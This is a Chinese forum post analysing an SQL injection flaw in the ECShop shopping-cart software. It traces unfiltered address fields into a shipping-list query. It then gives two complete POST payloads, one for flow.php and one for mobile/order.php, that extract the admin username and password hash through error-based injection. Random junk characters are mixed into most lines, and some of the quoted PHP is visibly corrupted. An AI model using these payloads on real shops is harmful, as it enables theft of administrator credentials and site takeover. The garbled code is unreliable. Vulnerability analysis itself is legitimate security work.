找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2399|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
+ D: z! y4 O) j9 R! L( y( C  O9 _7 m7 }! T
    漏洞关键文件:
# m: F; I9 p: R1 ?
1 `4 D8 `8 @, u" o$ ?    /includes/lib_order.php' n: d+ ?6 B3 ?2 t

$ [. c* ?( p3 }3 R/ s    关键函数:- E# M9 N3 n3 s4 k
, ~* z8 S# S  G4 t$ b

, ^, J" u2 Z/ U: n
/ a% J* o: g6 S* ~01     function available_shipping_list($region_id_list)
2 o7 G0 Z$ L) D4 q8 u% |7 N& X' R$ t* p  y% _3 Z1 ]; W; Q
02 {
6 c6 ^# B) _& F  a# }6 `6 j6 j) y8 H+ I0 D4 S* [
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . * H/ t6 b, t8 N" d8 y  s/ }
& k  O+ c" z  |& c. F, R6 q# l
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ' m- |+ S. A( S4 _8 \+ [8 V- E1 L

9 `8 U4 `, g) c: F0 A6 |2 r05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . * b' {8 F. J$ m; e1 U* D7 R. W4 y/ {2 H
2 U8 }7 {( s2 x8 P! ]
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
) D, t" s8 O0 ?
( X' E1 v  s& N6 `2 S$ P07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ( a& I1 S# ^# r0 ^3 f6 k( I
; t# Z% b. F1 W2 y. R
08             'WHERE r.region_id ' . db_create_in($region_id_list) . ' q0 L' a! b4 I, e/ S' p  O

% @, _4 |4 f9 Z- F; W$ T% {5 i09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
4 h) u9 [' @  k0 V4 O, H
& u2 t/ O$ A5 q) D- b7 [10   
" C1 D1 C' v! L5 v4 P) ?' v8 E) u- @, [( L$ B3 ^
11     return $GLOBALS['db']->getAll($sql); $ Y' Q; |" n# J% G( d1 j: g3 X

' R, p% v) W$ g5 S) a" i5 r6 G12 }
% E6 o2 u* `7 I9 k& w+ Z9 [& R& ?* Z; E
5 N( |; f4 a0 H( n显然对传入的参数没有任何过滤就带入了查询语句。
; e) J+ T8 x  a2 W$ ^" x# `: M1 e 8 L2 v8 j5 ^; U1 }8 u2 Q" s
下面我们追踪这个函数在flow.php中:% Y9 r" L2 k4 E2 Q  w7 T
第531行:   3 V6 S6 v) K9 p7 v. o. k9 }

/ M0 K3 K- F- A) R: _9 Y( Z1 $shipping_list     = available_shipping_list($region); ' J2 m( e9 s$ Z6 ?* a6 P
9 U; E* ^( \; Z9 @/ z0 n

' Q) N7 x, ?/ N' S/ b( @
  z' I9 O3 {9 j+ h8 m
6 ~" w4 u2 S2 d- c0 ]5 Y* D' O, ?9 A! h# k( @
再对传入变量进行追踪:
2 o, D4 O5 I1 O7 h' q) K
, x8 G0 t) w6 h: U7 z8 k第530行:    2 I# V6 p1 U( ]
/ @; a+ z/ F% l1 r, h
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
9 R! {" r" Y6 n  f/ P4 |: @* ^  |' P" I- j/ q7 v  t
3 N9 `5 q  k$ v; Y4 r' V, `

3 A. e. [  s- G. a" [ ( y1 ^# J1 l0 h' |

9 a& T! O( q& e4 B3 F第473行:        1 L+ f- f+ g! Y) I

, t/ @& c! Z9 O9 I& r1 $consignee = get_consignee($_SESSION['user_id']); 5 @& V! v" @) l; x: x7 K' ?- I
: w6 P/ f( e# o. h8 s) h
到了一个关键函数:# [& |8 A3 I; t0 E- L8 D" C' R8 \

( X/ N6 D; J9 z- E/includes/lib_order.php
1 Q* x9 ?* `( w8 ~7 N: l8 \; \
. c/ V; F3 I$ o# A1 x# [ ; J& y# u: @( Q1 e0 W: y% x8 S2 s& g8 v

( `$ ]% x- A# _/ t0 y# Y) @6 S( Y/ ~
. X6 t5 y7 r5 _7 c/ o
8 l' @2 [# S* X, F, |3 Z; z% m1 W01 function get_consignee($user_id)
$ I8 J" D/ K: f$ c4 j" c0 O1 D- ]1 q5 C
02 { 5 ]* t2 b, [8 k3 Z4 E, V) n" T- ?1 N
0 ~6 |0 u7 V- y( t8 t0 o
03     if (isset($_SESSION['flow_consignee']))
9 k" y' \( {+ ?, J
$ n2 z1 \. f  j: L/ i; s  @4 }04     { , c: P  m. S0 B% c* B/ g

5 C0 D; S1 D- e( v4 V; |05         /* 如果存在session,则直接返回session中的收货人信息 */ . \5 x) I' z6 A/ H0 U9 Q
" K+ l& c, I* T3 b* a
06   , ?. a( l- o# g0 L, ?$ Q9 D
9 n* w8 T( D  e, n$ J; W( A" V
07         return $_SESSION['flow_consignee'];
, X- q5 g; g4 A* x+ M
7 N2 E6 p4 G  x6 J3 ?9 r) M) o08     } ! Z9 U2 ]. k; K# u7 K$ i
9 I- h3 D1 w* {) A4 F! G4 F" l8 N# a0 b
09     else 2 q; Q9 y; Y  Q8 L# [' R+ p
& m, u: h  _0 H# M
10     {
$ R: |3 e: }; N8 H. ^+ w
, y4 c7 f% u* z' ]' J11         /* 如果不存在,则取得用户的默认收货人信息 */
2 i9 V" U* L5 _7 y# F& _1 j7 b! l5 S
* l/ a9 }( p% d3 x+ M1 S12         $arr = array();
8 L0 R" a/ z5 Q# I  ~  g# y' `
( v8 k/ E5 a. P2 k" A9 G' u: F13   
+ x! l: U5 T- \; F: \) ~* ?, @% p. W1 n  ~
14         if ($user_id > 0) 6 L' X2 X% o. Y& T) q
% b6 y9 q* r) v8 l  ]* U
15         { # x* S6 U; h! }4 g
! O4 t4 Z+ ~- _/ n) {- n
16             /* 取默认地址 */ # D) f. c4 l; K1 L& H5 }
. T( D- e0 }' v( h" t( l
17             $sql = "SELECT ua.*".
' J! O& q7 a. |, ]' z5 [( K0 U
2 ^$ I0 X  Q9 N/ S8 o4 [18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ) U" h% n  r9 t2 s$ D: M" A4 |

, c# l# U% d( F19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ) f/ E3 a( U1 ?0 X

4 |$ `/ h3 H; D# I" F4 M20   9 C: Y* h7 w- I8 N7 `
. b3 f+ b2 q7 `8 g8 y
21             $arr = $GLOBALS['db']->getRow($sql);
& j) @( e; u. @* _" A0 g1 r# W2 \# i! {3 J7 {. j
22         } ' k/ q2 {1 m6 Y. h  ]; ]4 M+ J6 G

* t) q/ ?* g/ Q, _) H$ ~23   7 B. ]$ a4 y% h$ h) w/ F3 J$ C" w

$ J' F# m8 _/ D) m3 s7 _. v% M' {: A24         return $arr;
( o+ d& j) P, C2 a) R% J1 B+ a7 o8 A. N
1 Q. w3 f' B3 E, t; @25     }
1 A2 y) y6 C2 F5 q, u6 x$ a( u9 [+ _( F% y
26 }
6 C% f; F- E! o9 u0 E! T6 K& c4 @
( n7 @% d4 ^/ A# Q6 g. i! D显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?  q" F" \: s+ |* R9 p

4 F4 z( D. N6 X 3 I4 k4 [. c* M% b* R
# G2 G2 s, \+ q9 v
关键点:
; U8 Y$ i' J) O6 M: F9 Q5 t8 V& p9 W
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
9 D2 {, \) }- b9 W+ J  |& R& C, D: |0 c3 d+ T/ T
这里对传入参数反转义存入$_SESSION中。
8 b* u- w% s- N* E' n$ W, S8 C7 Z# E3 ~: }

- {" `9 |8 w* `  Y( A1 _  M
' q4 m- o5 P1 U5 A, s然后看下:
2 i5 ?8 C3 u. g1 j, _3 L4 g) }5 |" G9 E  S; m
) I3 ^" J0 Q1 [6 e

' y# P4 t  T# m8 m2 w8 {" d   
/ p% V7 [5 p+ t' \# T2 F, L+ M( B, i; V% }3 H) R; c* G
01 $consignee = array( 6 Q" m/ M& h( O4 G* v
5 q) g0 P+ C9 w% b. z6 N
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
8 C" v5 z9 F$ p, {# J" E
0 {' p; c; [' f8 z, W03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), + k0 M: J7 G, A5 s+ \7 U
2 o+ n/ K* U; f' k5 d  M2 c
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
5 E7 J9 h7 J% J4 j; R& |* v: z% A" T8 z% E& l- i
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 2 ]% b1 j. v9 V$ x4 B
& L9 Y$ g8 z+ {4 y! @5 e
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 8 G% j5 x* ~* D9 d, i, q- l

$ O3 e8 U; S5 x7 ~; h07         'district'      => empty($_POST['district'])   ? '' _POST['district'], ( t* R/ v2 Z2 Q# [/ b

5 @  f3 H! A9 I! `" D5 R08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
& f- x" G% Q; d! a# G; G5 L0 `
5 y+ |* O5 k! o+ s09         'address'       => empty($_POST['address'])    ? '' _POST['address'], $ S# u, }' g9 r. B1 e  O( [4 w
' ^% n6 o  O% f2 X$ c5 R
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), , |0 R3 v7 `( Y/ J% J( t  i, d

; h& p+ r+ ^$ u* I) w0 G11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
+ I8 f7 ^3 l7 o
/ B8 u3 y! ?: ?3 x12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), - z& Z% K& E) F5 Z

; \5 j- {5 y! e  [6 e/ a8 O9 G13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 2 R; a  S: r' ?) `2 h
9 C2 F$ L. G: v( e0 X! {$ s1 j
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], * x+ A& ]: @& b$ [
- O5 y) V/ P# c' {) E3 L
15     );
2 ^  N# B& q& n7 `' l1 K
9 Z- Z! q5 f9 i: J: ~8 z8 z/ L" ~* n好了注入就这样出现了。
" r5 @' Q3 ~# N% f
( ~5 `" K' O5 R7 c. h- U' m) W. V. i" f% E==================
; p' I* K: p: P% q/ _* F- d" ^  U! ^/ m1 S2 `6 F/ Q
注入测试:2 g* o9 d5 y) T

; d" a5 K& J8 u" z环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
5 H& v  A, L) v  O+ Y! o2 d8 T/ ]5 q+ w6 [0 g3 u9 q, Q! @$ K
测试程序:ECShop_V2.7.3_UTF8_release11063 V- u9 j% k% Y' O: v9 s
0 t/ e% L& s* S4 V3 S& [

3 @; O3 r3 h3 e: n9 w3 V7 G/ Z4 c/ A; t6 w0 G% y* G" B( `" [  J* I
1.首先需要点击一个商品加入购物车, I  p! e4 e2 y, ], s" R0 _" f3 H  \* t
- [( m: [0 m0 M3 l2 z1 S5 ^  O
2.注册一个会员帐号
$ h7 \, _6 C6 p- H
8 M' W1 j7 s; n" {0 N, y3.post提交数据8 v3 g/ {7 q, _5 x" [8 j$ [4 q
8 I4 o( `( G& E$ r% }

; b. m8 Q1 v0 f& `& Y0 W1 c1 s; ]
7 {) a0 m6 P( x5 i+ x; O7 T0 j1 http://127.0.0.1/ecshop/flow.php
/ M7 I5 Q8 a4 `; ?
$ H% r6 U% C, w+ D9 P0 q+ g2   - f- ]& G; N( o7 u# m

. v3 v6 R! Y+ ?; A" U3 e3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= - c" s; C- R: j8 ]) E
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
" N1 ?9 P+ }1 C0 K5 B* b) F# s6 [$ m8 Y
我们搜寻关键函数function available_shipping_list()2 ]. N' u( U8 d
/ S  d) _1 q3 i% D% l
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
+ G7 Z( _8 ]5 w; Z4 s6 ]3 W8 R- H% ~6 V% D5 m7 V0 z; t
利用exp:
7 i$ a. l! h4 x2 C" T$ ~, K
6 E" w% L% I2 P1.点击一个商品,点击购买商标
2 z5 H  L' N: Y  s+ x9 l9 m. Y% M
7 c# J" D% ?! @6 P2 J7 v2.登录会员帐号
, g  [6 I6 ~0 H  x1 h! ^7 f- `5 a  M$ {
3.post提交:
( l+ m2 l6 J5 W( ^2 j2 R' Z0 a* b3 X1 K* T
http://127.0.0.1/ecshop/mobile/order.php
1 s" }6 B' D' [! |! l) ]5 ]  l( B
$ M+ Y, h! r. i. y1 s& n: n
' p7 y* j7 K& a8 s7 c% \% q5 Q. m* W. Z/ V3 q6 }+ g5 {
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
, e8 ?! b" V" p3 N* Y: ^9 M! ^+ {- j9 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表